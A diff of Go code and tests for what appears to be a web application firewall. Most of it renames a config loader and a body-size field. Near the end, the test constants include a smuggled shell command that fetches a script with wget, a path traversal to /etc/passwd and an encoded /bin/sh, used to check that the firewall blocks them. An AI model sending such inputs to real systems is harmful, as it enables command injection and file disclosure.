cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
bytesLimitPerMinute: "512M",
|
||||
bytesLimitPerHour: off,
|
||||
bytesLimitPerDay: "100000",
|
||||
@@ -500,7 +500,7 @@ func TestByteLimitSettingsAsSet(t *testing.T) {
|
||||
func TestRateLimitExemptPathsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(
|
||||
cfg := wafFromEnvironment(
|
||||
t,
|
||||
environment{rateLimitExemptPaths: "/assets/, /favicon.ico"},
|
||||
)
|
||||
@@ -531,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
env environment
|
||||
paths []string
|
||||
threshold int64
|
||||
env environment
|
||||
paths []string
|
||||
limit int64
|
||||
}{
|
||||
{environment{}, []string{}, 30},
|
||||
{
|
||||
@@ -542,16 +542,16 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
||||
},
|
||||
{environment{refusalsLimitPerMinute: off}, []string{}, 0},
|
||||
} {
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
|
||||
cfg.RefusalsLimitPerMinute != tc.threshold {
|
||||
cfg.RefusalsLimitPerMinute != tc.limit {
|
||||
t.Errorf(
|
||||
"%v gave %v and %d, want %v and %d",
|
||||
tc.env,
|
||||
cfg.TrapPaths,
|
||||
cfg.RefusalsLimitPerMinute,
|
||||
tc.paths,
|
||||
tc.threshold,
|
||||
tc.limit,
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -644,7 +644,7 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
||||
},
|
||||
},
|
||||
} {
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
|
||||
got := config.WAF{
|
||||
CoreRuleSetMode: cfg.CoreRuleSetMode,
|
||||
@@ -684,7 +684,7 @@ func TestApps(t *testing.T) {
|
||||
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
||||
},
|
||||
} {
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
||||
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
||||
}
|
||||
@@ -705,7 +705,7 @@ func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
|
||||
var out bytes.Buffer
|
||||
|
||||
slog.New(slog.NewJSONHandler(&out, nil)).
|
||||
Info("starting", "settings", fromEnvironment(t, tc.env))
|
||||
Info("starting", "settings", wafFromEnvironment(t, tc.env))
|
||||
|
||||
if !strings.Contains(out.String(), tc.want) {
|
||||
t.Errorf(
|
||||
@@ -766,7 +766,7 @@ func TestInvalidAppsStopsTheStart(t *testing.T) {
|
||||
func TestCoreRuleSetBodyInspectionSizeOf64K(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(
|
||||
cfg := wafFromEnvironment(
|
||||
t,
|
||||
environment{coreRuleSetBodyInspectionSize: "64K"},
|
||||
)
|
||||
@@ -845,7 +845,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
||||
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
instanceName: "fsn1app1/blog",
|
||||
logRequestHeaders: " Accept , X-Custom",
|
||||
})
|
||||
@@ -863,7 +863,7 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
||||
func TestRemoteLogSettingsDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{instanceName: instance})
|
||||
cfg := wafFromEnvironment(t, environment{instanceName: instance})
|
||||
|
||||
if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil ||
|
||||
cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 ||
|
||||
@@ -892,7 +892,7 @@ func TestRemoteLogSettingsAsSet(t *testing.T) {
|
||||
t.Fatalf("write %s: %v", caFile, err)
|
||||
}
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
logRemoteURL: "syslog+tls://logs.example:6514",
|
||||
logRemoteTLSCAFile: caFile,
|
||||
logRemoteBufferLines: "500",
|
||||
@@ -927,13 +927,13 @@ func TestRemoteLogURLForms(t *testing.T) {
|
||||
"syslog+tcp://[2001:db8::1]:514",
|
||||
"syslog+tls://logs.example:6514/",
|
||||
} {
|
||||
cfg := fromEnvironment(t, environment{logRemoteURL: value})
|
||||
cfg := wafFromEnvironment(t, environment{logRemoteURL: value})
|
||||
if cfg.LogRemoteURL.String() != value {
|
||||
t.Errorf("%s read as %v", value, cfg.LogRemoteURL)
|
||||
}
|
||||
}
|
||||
|
||||
cfg := fromEnvironment(t, environment{logRemoteURL: ""})
|
||||
cfg := wafFromEnvironment(t, environment{logRemoteURL: ""})
|
||||
if cfg.LogRemoteURL != nil {
|
||||
t.Errorf(
|
||||
"set but empty, %s read as %v",
|
||||
@@ -950,7 +950,7 @@ func TestRemoteLogFacilitiesByNumber(t *testing.T) {
|
||||
"kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11,
|
||||
"local0": 16, "local5": 21, "local7": 23,
|
||||
} {
|
||||
cfg := fromEnvironment(t, environment{logRemoteFacility: name})
|
||||
cfg := wafFromEnvironment(t, environment{logRemoteFacility: name})
|
||||
if cfg.LogRemoteFacility != number {
|
||||
t.Errorf(
|
||||
"%s read as %d, want %d",
|
||||
@@ -1036,7 +1036,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
|
||||
cfg := fromEnvironment(t, environment{instanceName: spaced})
|
||||
cfg := wafFromEnvironment(t, environment{instanceName: spaced})
|
||||
if cfg.LogRemoteAppName != spaced {
|
||||
t.Errorf(
|
||||
"not sending, %s is %q",
|
||||
@@ -1047,7 +1047,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
|
||||
|
||||
sending[logRemoteAppName] = instance
|
||||
|
||||
cfg = fromEnvironment(t, sending)
|
||||
cfg = wafFromEnvironment(t, sending)
|
||||
if cfg.LogRemoteAppName != instance {
|
||||
t.Errorf("set to %s, %s is %q", instance, logRemoteAppName,
|
||||
cfg.LogRemoteAppName)
|
||||
@@ -1073,7 +1073,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
|
||||
func TestAlertSettingsDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
|
||||
if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 ||
|
||||
cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil ||
|
||||
@@ -1106,7 +1106,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
|
||||
token = "tk_0123456789abcdefghijklmnopq"
|
||||
)
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
alertWebhookURL: webhook,
|
||||
alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops",
|
||||
alertSlackWebhookURL: slack,
|
||||
@@ -1144,7 +1144,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
|
||||
func TestAlertSettingsSetEmptyOrOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "",
|
||||
alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off,
|
||||
})
|
||||
@@ -1202,7 +1202,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
|
||||
const secret = "Bearer 0123456789abcdef"
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops",
|
||||
})
|
||||
|
||||
@@ -1242,7 +1242,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
|
||||
"https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********",
|
||||
"http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080",
|
||||
} {
|
||||
cfg := fromEnvironment(t, environment{alertWebhookURL: value})
|
||||
cfg := wafFromEnvironment(t, environment{alertWebhookURL: value})
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
@@ -1278,7 +1278,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
|
||||
|
||||
const token = "tk_0123456789abcdefghijklmnopq"
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
|
||||
alertNtfyURL: "https://ntfy.example/sww-alerts",
|
||||
alertNtfyToken: token,
|
||||
@@ -1345,7 +1345,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
|
||||
cfg := fromEnvironment(t, environment{instanceName: name})
|
||||
cfg := wafFromEnvironment(t, environment{instanceName: name})
|
||||
if cfg.InstanceName != name {
|
||||
t.Errorf(
|
||||
"not sending to ntfy, %s is %q",
|
||||
@@ -1396,7 +1396,7 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
|
||||
func TestLookupSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
asnAndCountryLookupTimeout: "500", addLookupHeaders: enabled,
|
||||
})
|
||||
wantLookupSettings(t, cfg, config.WAF{
|
||||
@@ -1404,7 +1404,7 @@ func TestLookupSettingsAsSet(t *testing.T) {
|
||||
AddLookupHeaders: true,
|
||||
})
|
||||
|
||||
cfg = fromEnvironment(t, environment{lookupSource: off})
|
||||
cfg = wafFromEnvironment(t, environment{lookupSource: off})
|
||||
wantLookupSettings(t, cfg, config.WAF{
|
||||
LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond,
|
||||
})
|
||||
@@ -1415,7 +1415,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
|
||||
|
||||
const path = "/var/lib/ipinfo/ipinfo_lite.mmdb"
|
||||
|
||||
cfg := fromEnvironment(
|
||||
cfg := wafFromEnvironment(
|
||||
t,
|
||||
environment{lookupSource: fileSource, lookupDBPath: path},
|
||||
)
|
||||
@@ -1508,13 +1508,13 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
fromEnvironment(t, env)
|
||||
wafFromEnvironment(t, env)
|
||||
}
|
||||
|
||||
func TestAnomalySettingsDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
wantAllOff(t, cfg)
|
||||
|
||||
if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 ||
|
||||
@@ -1556,7 +1556,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
cfg := fromEnvironment(t, env)
|
||||
cfg := wafFromEnvironment(t, env)
|
||||
|
||||
if got := thresholdsByScope(cfg); !maps.Equal(got, want) {
|
||||
t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want)
|
||||
@@ -1589,7 +1589,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
|
||||
env[name] = off
|
||||
}
|
||||
|
||||
wantAllOff(t, fromEnvironment(t, env))
|
||||
wantAllOff(t, wafFromEnvironment(t, env))
|
||||
}
|
||||
|
||||
// thresholdsByScope returns cfg's anomaly thresholds, each by the prefix
|
||||
@@ -1678,7 +1678,7 @@ func TestTagSettingsAsSet(t *testing.T) {
|
||||
|
||||
// Names and tags in either case, an AS number with leading zeros, and a
|
||||
// name holding a =.
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
tagLists: "TorExit=" + torURL +
|
||||
", vpn=mullvad=https://example.com/mullvad.txt",
|
||||
dnsblZones: "Zen.example",
|
||||
@@ -1717,7 +1717,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
|
||||
const rw = "https://routewatch.example"
|
||||
|
||||
if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
|
||||
if cfg := wafFromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
|
||||
t.Errorf(
|
||||
"default %s is %q, want unset",
|
||||
routeWatchURL,
|
||||
@@ -1725,7 +1725,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
|
||||
tagLimitPercent: "prefix=192.0.2.0/24:50",
|
||||
})
|
||||
@@ -1742,7 +1742,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
}
|
||||
|
||||
// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
|
||||
fromEnvironment(t, environment{
|
||||
wafFromEnvironment(t, environment{
|
||||
lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
|
||||
})
|
||||
|
||||
@@ -1919,7 +1919,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
||||
func TestBiasedThresholdsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
if len(cfg.ASNBytesLimitPercent) != 0 ||
|
||||
len(cfg.CountryBytesLimitPercent) != 0 ||
|
||||
cfg.UnknownCountryLimitPercent != 100 {
|
||||
@@ -1934,7 +1934,7 @@ func TestBiasedThresholdsAsSet(t *testing.T) {
|
||||
|
||||
// AS numbers and countries in either case, an AS number with leading
|
||||
// zeros, 0 and 100.
|
||||
cfg = fromEnvironment(t, environment{
|
||||
cfg = wafFromEnvironment(t, environment{
|
||||
asnBytesLimitPercent: "as16276:75",
|
||||
countryBytesLimitPercent: "ru:10",
|
||||
unknownCountryLimitPercent: "0",
|
||||
@@ -2016,7 +2016,7 @@ const (
|
||||
func TestReputationSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour ||
|
||||
cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" {
|
||||
t.Errorf(
|
||||
@@ -2043,7 +2043,7 @@ func TestReputationSettingsAsSet(t *testing.T) {
|
||||
{"limit:0", actionLimit, 0},
|
||||
} {
|
||||
// An hour, the shortest refresh allowed.
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h",
|
||||
blocklistAction: tc.value, asnLimitPercentURL: asnURL,
|
||||
})
|
||||
@@ -2140,7 +2140,7 @@ const (
|
||||
func TestDNSBLSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() ||
|
||||
cfg.DNSBLAbuseIPDBAction != actionLimit ||
|
||||
cfg.DNSBLAbuseIPDBLimitPercent != 25 ||
|
||||
@@ -2188,7 +2188,7 @@ func TestDNSBLSettingsAsSet(t *testing.T) {
|
||||
[]string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0,
|
||||
},
|
||||
} {
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action,
|
||||
ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000",
|
||||
})
|
||||
@@ -2310,7 +2310,7 @@ func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(
|
||||
func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(
|
||||
cfg := wafFromEnvironment(
|
||||
t,
|
||||
environment{dnsblZones: dronebl + ", " + spamhaus},
|
||||
)
|
||||
@@ -2375,7 +2375,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
|
||||
cfg.AbuseIPDBDailyBudget != 900 {
|
||||
t.Errorf(
|
||||
@@ -2387,7 +2387,7 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
cfg = fromEnvironment(t, environment{
|
||||
cfg = wafFromEnvironment(t, environment{
|
||||
abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
|
||||
})
|
||||
if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
|
||||
@@ -2442,7 +2442,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(
|
||||
func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{abuseIPDBKey: token})
|
||||
cfg := wafFromEnvironment(t, environment{abuseIPDBKey: token})
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
@@ -2459,7 +2459,7 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
||||
func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
|
||||
t.Errorf(
|
||||
"by default, the decision list %q and the key %q, want neither",
|
||||
@@ -2474,7 +2474,7 @@ func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
||||
"https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions",
|
||||
"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
|
||||
} {
|
||||
cfg := fromEnvironment(
|
||||
cfg := wafFromEnvironment(
|
||||
t,
|
||||
environment{crowdSecURL: lapi, crowdSecKey: token},
|
||||
)
|
||||
@@ -2568,7 +2568,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
|
||||
})
|
||||
|
||||
@@ -2591,7 +2591,7 @@ func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
||||
func TestSizesAndOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
bytesLimitPerMinute: "3G",
|
||||
bytesLimitPerHour: off,
|
||||
alertCooldown: off,
|
||||
@@ -2611,7 +2611,7 @@ func TestSizesAndOff(t *testing.T) {
|
||||
func TestRateLimitsOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
rateLimitPerMinute: off,
|
||||
rateLimitPerHour: off,
|
||||
rateLimitPerDay: off,
|
||||
@@ -2631,7 +2631,7 @@ func TestRateLimitsOff(t *testing.T) {
|
||||
func TestBanResponseCloseIsZero(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{banResponse: "close"})
|
||||
cfg := wafFromEnvironment(t, environment{banResponse: "close"})
|
||||
if cfg.BanResponse != 0 {
|
||||
t.Errorf("close read as %d, want 0", cfg.BanResponse)
|
||||
}
|
||||
@@ -2883,7 +2883,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
|
||||
func TestTokensAreReadAndLoggedMasked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(
|
||||
cfg := wafFromEnvironment(
|
||||
t,
|
||||
environment{adminToken: otherToken, metricsToken: token},
|
||||
)
|
||||
@@ -2915,7 +2915,7 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) {
|
||||
token + "\n\n": token + "\n",
|
||||
token + " \n": token + " ",
|
||||
} {
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
metricsToken + "_FILE": writeFile(t, contents),
|
||||
})
|
||||
if cfg.MetricsToken != want {
|
||||
@@ -2991,7 +2991,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
path := writeFile(t, token+"\n")
|
||||
cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path})
|
||||
cfg := wafFromEnvironment(t, environment{metricsToken + "_FILE": path})
|
||||
|
||||
var out bytes.Buffer
|
||||
|
||||
@@ -3021,7 +3021,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
|
||||
func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"),
|
||||
})
|
||||
if cfg.LogRemoteTLSCAs != nil {
|
||||
@@ -3048,7 +3048,7 @@ func writeFile(t *testing.T, contents string) string {
|
||||
func TestLogsEachSettingWithItsValue(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{rateLimitPerMinute: "45"})
|
||||
cfg := wafFromEnvironment(t, environment{rateLimitPerMinute: "45"})
|
||||
hostname, _ := os.Hostname()
|
||||
|
||||
want := map[string]string{
|
||||
|
||||
@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
|
||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
||||
// for concurrent use.
|
||||
type CoreRuleSet struct {
|
||||
engine coraza.WAF
|
||||
bodyLimit int64
|
||||
engine coraza.WAF
|
||||
bodyInspectionSize int64
|
||||
// appsByHostname are the names of the apps each hostname serves, by
|
||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||
appsByHostname map[string][]string
|
||||
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
|
||||
|
||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||
// at params' paranoia level, without the rules it switches off, reading
|
||||
// request bodies up to params' limit, and with params' exclusions file
|
||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||
// it.
|
||||
// request bodies up to params' body inspection size, and with params'
|
||||
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
||||
// file is an error if it cannot be read or does not parse, or if
|
||||
// checkExclusions refuses it.
|
||||
func New(params Params) (*CoreRuleSet, error) {
|
||||
body := ""
|
||||
if params.BodyInspectionSize > 0 {
|
||||
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
}
|
||||
|
||||
return &CoreRuleSet{
|
||||
engine: engine,
|
||||
bodyLimit: params.BodyInspectionSize,
|
||||
appsByHostname: params.Apps,
|
||||
engine: engine,
|
||||
bodyInspectionSize: params.BodyInspectionSize,
|
||||
appsByHostname: params.Apps,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
|
||||
// readBody reads body, the body of the request in tx, which has run on
|
||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
||||
// multipart, of which it reads the first c.bodyLimit bytes, and JSON and
|
||||
// XML, which it reads only when they are no longer than that, since they
|
||||
// cannot be read in part.
|
||||
// readBody reads one byte past the limit, to tell which they are, gives
|
||||
// the Core Rule Set what it reads, and returns what it read and the error
|
||||
// that ended the reading early, if one did.
|
||||
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
||||
// JSON and XML, which it reads only when they are no longer than that,
|
||||
// since they cannot be read in part.
|
||||
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
||||
// are, gives the Core Rule Set what it reads, and returns what it read and
|
||||
// the error that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) readBody(
|
||||
tx types.Transaction,
|
||||
body io.Reader,
|
||||
) ([]byte, error) {
|
||||
if c.bodyLimit == 0 {
|
||||
if c.bodyInspectionSize == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
||||
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
||||
// Coraza holds what it reads of the body in memory, up to the
|
||||
// limit, so this cannot fail.
|
||||
_, _, _ = tx.WriteRequestBody(read)
|
||||
|
||||
@@ -919,6 +919,10 @@ const retypeKey = "retype"
|
||||
// system files (930120) holds.
|
||||
const htaccess = ".htaccess"
|
||||
|
||||
// binSh is the shell path /bin/sh as a query or form value, which the rule for
|
||||
// shell paths (932160) refuses.
|
||||
const binSh = "%2Fbin%2Fsh"
|
||||
|
||||
// hardValues are words that name commands and files, as a query or form
|
||||
// value. An app's tests check that its fields let them through.
|
||||
//
|
||||
@@ -1089,7 +1093,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1173,8 +1178,11 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
names := []string{name}
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
@@ -2310,9 +2318,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
|
||||
// read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||
// tests that read bodies.
|
||||
const bodyInspectionSize = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
const (
|
||||
@@ -2335,12 +2343,13 @@ const pathTraversal = "../../etc/passwd"
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
// default, but reading bodies up to bodyInspectionSize.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
})
|
||||
